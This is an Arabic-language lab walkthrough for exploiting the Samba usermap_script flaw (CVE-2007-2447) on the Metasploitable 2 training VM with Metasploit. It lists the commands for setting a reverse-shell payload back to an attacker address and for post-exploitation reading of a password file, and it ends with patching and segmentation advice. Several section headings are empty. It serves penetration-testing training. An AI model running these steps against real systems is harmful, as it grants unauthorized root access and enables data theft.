SMB-PenTest-Exploiting-CVE-2007-2447-on-Metasploitable-2

الوصف

نظرة عامة على الثغرة

البيئة

الخطوات المتبعة

1. تشغيل Metasploit:

msfconsole

تأكد من تشغيل جهاز المهاجم والجهاز الضحية.

2. البحث عن الأداة:

search samba

3. استخدام الوحدة المناسبة:

use exploit/multi/samba/usermap_script

4. تعيين الخيارات المطلوبة:

set RHOST <target_ip>
set LHOST <attacker_ip>
set payload cmd/unix/reverse

5. تنفيذ الأداة:

exploit

6. أوامر ما بعد الاستغلال:

whoami
hostname
cd /redteam7/student3
cat mypass.txt

تعليمات إعادة الضبط

إعادة ضبط Metasploit:

# الخروج من الشل الحالي
Ctrl C
exit
# قتل جميع المهام الخلفية
sessions -K             
jobs -K
# إعادة تشغيل Metasploit
msfconsole              

النقاط الرئيسية

• الخدمات القديمة مثل Samba 3.0.20 مع usermap_script شديدة الضعف.
• استغلال هذه الثغرة في SMB يمنح وصولاً على مستوى الجذر (root) إلى شل.
• يمكن سرقة البيانات الحساسة بأوامر بسيطة، مما يوضح المخاطر الواقعية.
• يثبت هذا ضرورة التحديث، والتقسيم الشبكي، وتقليل تعرض الخدمات.

التوصيات

• تحديث أو إيقاف تشغيل الأنظمة القديمة فوراً.
• تطبيق تقسيم شبكي صارم وقواعد جدار ناري.
• تقييد تعرض SMB للمستخدمين الداخليين الموثوقين فقط.
• مراقبة السجلات بحثاً عن نشاط مشبوه وحركة جانبية.

المراجع

• Metasploit Samba usermap_script
• CVE-2007-2447 Details
• Metasploitable 2 Exploit Index